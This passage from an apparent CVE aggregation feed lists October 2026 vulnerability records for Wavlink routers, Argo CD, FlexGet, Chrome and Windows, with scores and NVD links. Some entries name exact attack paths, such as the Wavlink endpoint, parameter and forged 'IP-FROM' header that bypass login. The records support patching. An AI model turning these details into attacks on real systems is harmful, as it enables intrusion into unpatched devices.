Wavlink WL-WN530BE1-A firmware through M30BE1_V251117 contains an OS command injection vulnerability in the sub_23B54 function of the ioos binary, which passes the unsanitized file_id parameter of /protocol.csp?opt=ovpn_file requests with type=del to popen(). A remote unauthenticated attacker can send a forged IP-FROM: 127.0.0.1 header to bypass login and execute arbitrary commands as root.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes.
https://kevwire.com/record/CVE-2026-113709
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. (Oct 20, 2026).
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 2.1.0 until 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2, when an operator has enabled --enable-helm for kustomize build, helmGlobals.configHome can point Helm's config and data directories at a repository-controlled location. Helm automatically loads a downloader plugin from `<configHome>/.data/plugins` without a separate plugin-install step and executes its program inside argocd-repo-server when a helmCharts repository URL uses the plugin's protocol. The command runs as the repo-server user and can read repository credentials and other process-accessible data. An attacker can commit the Kustomization and plugin to a Git repository that an Application builds or upload the files through POST /api/v1/applications/manifestsWithFiles, also exposed by argocd app diff --local --server-side-generate. The upload path requires only Application get permission on an existing Application, without Application update or sync permission or repository write access. Both delivery paths require prior operator enablement of --enable-helm; deployments that do not enable it are not affected. Kustomize 4.1.0 first passed helmGlobals.configHome through to Helm. This issue is fixed in versions 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2.
CVSS 9.9 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113709).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113709&date=2026-10-25).
Sources:
NVD CVE-2026-113709: https://nvd.nist.gov/vuln/detail/CVE-2026-113709
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113709&date=2026-10-25
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 2.1.0 until 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2, when an operator has enabled --enable-helm for kustomize build, helmGlobals.configHome can point Helm's config and data directories at a repository-controlled location. Helm automatically loads a downloader plugin from `<configHome>/.data/plugins` without a separate plugin-install step and executes its program inside argocd-repo-server when a helmCharts repository URL uses the plugin's protocol. The command runs as the repo-server user and can read repository credentials and other process-accessible data. An attacker can commit the Kustomization and plugin to a Git repository that an Application builds or upload the files through POST /api/v1/applications/manifestsWithFiles, also exposed by argocd app diff --local --server-side-generate. The upload path requires only Application get permission on an existing Application, without Application update or sync permission or repository write access. Both delivery paths require prior operator enablement of --enable-helm; deployments that do not enable it are not affected. Kustomize 4.1.0 first passed helmGlobals.configHome through to Helm. This issue is fixed in versions 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in a2aproject a2a-rs up to 0.4.3. This affects the function HttpPushSender of the file crates/server/src/push_notification_sender.rs of the...
https://kevwire.com/record/CVE-2026-113704
A vulnerability has been found in a2aproject a2a-rs up to 0.4.3. This affects the function HttpPushSender of the file crates/server/src/push_notification_sender.rs of the... (Oct 20, 2026).
A vulnerability has been found in a2aproject a2a-rs up to 0.4.3. This affects the function HttpPushSender of the file crates/server/src/push_notification_sender.rs of the component Push Notification Handler. Such manipulation of the argument TaskPushNotificationConfig leads to server-side request forgery. The attack may be launched remotely. The name of the patch is 2ba50176ea9f222d9a7d0f0e8cfe6fae7cf4c224. Applying a patch is advised to resolve this issue.
CVSS 6.9 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113704).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113704&date=2026-10-25).
Sources:
NVD CVE-2026-113704: https://nvd.nist.gov/vuln/detail/CVE-2026-113704
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113704&date=2026-10-25
A vulnerability has been found in a2aproject a2a-rs up to 0.4.3. This affects the function HttpPushSender of the file crates/server/src/push_notification_sender.rs of the component Push Notification Handler. Such manipulation of the argument TaskPushNotificationConfig leads to server-side request forgery. The attack may be launched remotely. The name of the patch is 2ba50176ea9f222d9a7d0f0e8cfe6fae7cf4c224. Applying a patch is advised to resolve this issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FlexGet before 3.20.7 contains a path traversal vulnerability in the decompress plugin that allows remote attackers to write arbitrary files by supplying malicious archive member...
https://kevwire.com/record/CVE-2026-113613
FlexGet before 3.20.7 contains a path traversal vulnerability in the decompress plugin that allows remote attackers to write arbitrary files by supplying malicious archive member... (Oct 20, 2026).
FlexGet before 3.20.7 contains a path traversal vulnerability in the decompress plugin that allows remote attackers to write arbitrary files by supplying malicious archive member paths. Attackers can deliver zip or rar archives with ../ sequences or absolute paths through a feed, writing Python files into the plugins directory for code execution.
CVSS 9.2 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113613).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113613&date=2026-10-25).
Sources:
NVD CVE-2026-113613: https://nvd.nist.gov/vuln/detail/CVE-2026-113613
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113613&date=2026-10-25
FlexGet before 3.20.7 contains a path traversal vulnerability in the decompress plugin that allows remote attackers to write arbitrary files by supplying malicious archive member paths. Attackers can deliver zip or rar archives with ../ sequences or absolute paths through a feed, writing Python files into the plugins directory for code execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially read memory inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113137
Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially read memory inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113137).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113137&date=2026-10-25).
Sources:
NVD CVE-2026-113137: https://nvd.nist.gov/vuln/detail/CVE-2026-113137
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113137&date=2026-10-25
Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Acrobat for Edge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-100134
Acrobat for Edge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 20, 2026).
Acrobat for Edge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100134).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100134&date=2026-10-25).
Sources:
NVD CVE-2026-100134: https://nvd.nist.gov/vuln/detail/CVE-2026-100134
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100134&date=2026-10-25
Acrobat for Edge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authorization in Animation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113128
Missing authorization in Animation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Oct 20, 2026).
Missing authorization in Animation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113128).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113128&date=2026-10-25).
Sources:
NVD CVE-2026-113128: https://nvd.nist.gov/vuln/detail/CVE-2026-113128
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113128&date=2026-10-25
Missing authorization in Animation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113130
Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113130).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113130&date=2026-10-25).
Sources:
NVD CVE-2026-113130: https://nvd.nist.gov/vuln/detail/CVE-2026-113130
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113130&date=2026-10-25
Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113131
Memory corruption in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113131).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113131&date=2026-10-25).
Sources:
NVD CVE-2026-113131: https://nvd.nist.gov/vuln/detail/CVE-2026-113131
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113131&date=2026-10-25
Memory corruption in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113132
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113132).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113132&date=2026-10-25).
Sources:
NVD CVE-2026-113132: https://nvd.nist.gov/vuln/detail/CVE-2026-113132
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113132&date=2026-10-25
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in PlatformIntegration in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113133
Memory corruption in PlatformIntegration in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in PlatformIntegration in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113133).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113133&date=2026-10-25).
Sources:
NVD CVE-2026-113133: https://nvd.nist.gov/vuln/detail/CVE-2026-113133
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113133&date=2026-10-25
Memory corruption in PlatformIntegration in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in PictureInPicture in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113135
Memory corruption in PictureInPicture in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Memory corruption in PictureInPicture in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113135).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113135&date=2026-10-25).
Sources:
NVD CVE-2026-113135: https://nvd.nist.gov/vuln/detail/CVE-2026-113135
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113135&date=2026-10-25
Memory corruption in PictureInPicture in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113136
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113136).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113136&date=2026-10-25).
Sources:
NVD CVE-2026-113136: https://nvd.nist.gov/vuln/detail/CVE-2026-113136
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113136&date=2026-10-25
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83853
Use after free in Windows Hello allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83853).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83853&date=2026-10-25).
Sources:
NVD CVE-2026-83853: https://nvd.nist.gov/vuln/detail/CVE-2026-83853
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83853
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83853&date=2026-10-25
Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer underflow (wrap or wraparound) in Windows WLAN Service allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-83855
Integer underflow (wrap or wraparound) in Windows WLAN Service allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Integer underflow (wrap or wraparound) in Windows WLAN Service allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83855).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83855&date=2026-10-25).
Sources:
NVD CVE-2026-83855: https://nvd.nist.gov/vuln/detail/CVE-2026-83855
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83855
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83855&date=2026-10-25
Integer underflow (wrap or wraparound) in Windows WLAN Service allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Event Logging Service allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83856
Out-of-bounds read in Windows Event Logging Service allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds read in Windows Event Logging Service allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83856).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83856&date=2026-10-25).
Sources:
NVD CVE-2026-83856: https://nvd.nist.gov/vuln/detail/CVE-2026-83856
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83856
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83856&date=2026-10-25
Out-of-bounds read in Windows Event Logging Service allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83857
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83857).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83857&date=2026-10-25).
Sources:
NVD CVE-2026-83857: https://nvd.nist.gov/vuln/detail/CVE-2026-83857
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83857
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83857&date=2026-10-25
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows NTFS allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83859
Use after free in Windows NTFS allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows NTFS allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83859).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83859&date=2026-10-25).
Sources:
NVD CVE-2026-83859: https://nvd.nist.gov/vuln/detail/CVE-2026-83859
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83859
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83859&date=2026-10-25
Use after free in Windows NTFS allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Windows GDI allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-83860
Stack-based buffer overflow in Windows GDI allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Stack-based buffer overflow in Windows GDI allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83860).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83860&date=2026-10-25).
Sources:
NVD CVE-2026-83860: https://nvd.nist.gov/vuln/detail/CVE-2026-83860
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83860
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83860&date=2026-10-25
Stack-based buffer overflow in Windows GDI allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Remote Desktop Protocol allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83861
Heap-based buffer overflow in Windows Remote Desktop Protocol allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Remote Desktop Protocol allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83861).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83861&date=2026-10-25).
Sources:
NVD CVE-2026-83861: https://nvd.nist.gov/vuln/detail/CVE-2026-83861
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83861
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
